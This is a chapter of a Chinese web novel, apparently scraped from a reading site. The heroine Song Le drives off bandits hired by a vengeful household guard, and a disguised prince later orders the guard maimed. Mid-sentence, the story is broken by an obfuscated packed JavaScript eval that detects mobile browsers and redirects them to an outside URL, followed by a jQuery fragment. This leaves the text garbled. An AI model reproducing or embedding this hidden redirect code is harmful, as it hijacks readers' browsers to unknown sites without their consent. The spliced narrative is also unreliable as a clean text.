10. 劫匪(第2页)
或许是熟悉了道路,宋乐总觉得返程的路走得更快些。
她正抱着一个肉火烧啃。
赚了钱,先整点好吃的压压惊。
“宿主,好像一直有人在后面跟着我们。”
宋乐:“......”
一定要现在说吗,火烧都不香了。
“怎么回事?”
“没出镇子的时候我就检测到这些人了,但不确定是不是跟我们,走这么远了他们还在,绝对没跑!”
不会吧,那二公子真这么记仇?!
宋乐吃不下去了,要是让他们跟到村子里,那全村都不得安宁。
“能检测到他们的位置吗?”
“能的宿主!”
闻言,宋乐摸出藏在袖子里的几枚飞刀,这是她刚在铁器店瞧见的,一个只有手指大小,方便携带,搭配能量有奇效。
一记飞刀疾射而出,路旁齐腰高的草丛里传出一声惨叫,接着有人体重重倒地的声音,再之后是一声粗犷的怒吼。
“他奶奶的,给我围了他们!”
顿时,草丛里窜出十多个粗布蒙面的大汉,衣服没什么章法,像是东拼西凑来的,十分潦草。
大汉将两辆牛车围在中间,看着车上的东西两眼放光。
“老大,消息没错,果然有油水!”
宋乐见这阵势,心中一沉。
人太多了,她手中只剩四把飞刀,如果不能一举磋了他们的锐气,肯定要牵连到其他村民。
她还没能想出最优解,却见前方牛车上的村民已经动了。
他们抄起手边能用的一切东西,迎着这群劫匪就扑了上去。
“还敢反抗?把他们都捆咯!”被称为老大的大汉急急喊道。
宋乐不可能让自己人吃亏,她扫视一圈,发现这群劫匪虽气势看着凶,其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112717|179956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胆量并不大,甚至有人先后退了两步,才犹犹豫豫地冲上去,怎么看都是一群乌合之众。
剩下的四柄飞刀被宋乐一一插到匪老大和他身边几人的大腿中,四人立刻哀嚎着倒在地上,捂着伤口开始打滚。
其他人本就是充数的墙头草,见领头的倒了,自己就乱了阵脚,被宋安和几个村民合力制服。
“说!是谁叫你来劫我们的道?”
宋安抬脚踩上那老大的伤腿,将钉在其上的飞刀踩得更深入伤口几分,目露凶光,恨不得把那人生吞活剥。
“是...是厉家的人,他求我帮他把那位姑娘抓回去,你们带的其他东西全都任我们分!”
匪老大痛得声音都打颤,却一刻不敢耽搁地交代了。
宋乐听闻这话,心中很是不解。
她本以为是送货的伙计走漏了消息,没想到竟是厉家人。
那二公子身边有侍卫那样的高手,怎么可能派这么一群臭鱼烂虾来?
她上前两步,追问:“可是厉家的二少爷?”
“二少爷?厉家什么时候有了二少爷?”那老大满脸迷茫,下意识回问。
“少废话!”宋安脚下力道加重,又惹起一阵鬼哭狼嚎。
“我说!我说!是厉家的护院,他说你身上有几十两银子,我才鬼迷了心窍,我们只是游手好闲,可没做过伤天害理的事,罪不至死啊姑奶奶!你放过我们吧,我们再也不敢了!”
想起医馆前的一幕,宋乐怔愣间又觉得好笑。
她脑补了那么多,到头来竟是一个丢了面子气不过的家丁搞出来的这一切。
“行了,别跟他们计较了。”
宋乐扯扯宋安的衣袖,待宋安和村民们重新回到车上,她又丢下几块碎银在那个老大面前。
“拿这钱去治伤,再找个正经活计,今天的事我就当没发生过,若再让我看见你们行不轨,我一定废了你们的腿!”
“谢姑奶奶,谢姑奶奶!”
那人颤巍巍地将银子抱进怀里,砰砰地冲宋乐磕头。
大汉们互相搀扶着跑走了,宋乐也回到牛车上,一行人继续赶路。
“有没有哪里受伤?”
宋安身上的煞气消弭殆尽,又恢复了往日温和的模样,看得宋乐一阵恍惚。
嚯,这个哥还真是收放自如,了不得。
“我站那么远,能有什么事,快回去吧!”
其实有事,她的五柄飞刀还没捂热乎呢就没了,花了不少铜板呢,她的心好痛!
——
是夜,厉家的宅院里烛火通明,却偏偏死一般的沉寂。
所有丫鬟护院都整齐跪在院中,四周尽是披甲持刀、身姿挺拔的黑衣侍卫,个个严阵以待。
正厅里,厉得财和王管家战战兢兢地跪在当中,滴落的冷汗洇湿了他们身前的一小片地面。
首位上坐着一人,那人十分随意地靠坐一边,支手撑着下颌,闭目养神,姿态闲适优雅,却无一人敢将视线停留在他身上。
细看下,正是宋乐在花园中见到的那位“二公子”。
不知又过了多久,白日里的侍卫自厅外走来,附在那人耳边低语几句。
狭长凤眸终于张开几分,骇人的寒芒刺出,几乎凝成实质。
“把人带上来。”
很快,一个身体绵软满脸是血的护院被丢了进来,哐的砸在地面上,惊得旁边二人一阵猛颤,险些栽倒在地。
那护院倒在地上,已是出气多进气少,与一条死狗无甚区别。
“贱命一条,也敢动我大齐神女。”
“二公子”眼中是毫不掩饰地狠厉,他最后扫了一眼地上的人,开口宣判其结局:“留一口气,丢出去自生自灭吧。”
侍卫面上不动声色,心中早已惊涛骇浪。
他深知“留一口气”的深意,挖掉双眼和舌头,削去手足废其关节,此生只能拖着残躯爬行乞讨,比死还折磨。
二殿下已经很长时间没有如此处置一个人了。
他沉默领命。
“动手的那些人呢?”
“宋姑娘要他们自行寻正经营生过活,不可再作恶,属下不敢擅自做主捉拿,还请殿下定夺。”
“嗯,”二殿下李叙白垂眸思索片刻,“那便送去军营吧,好好磨练一番。”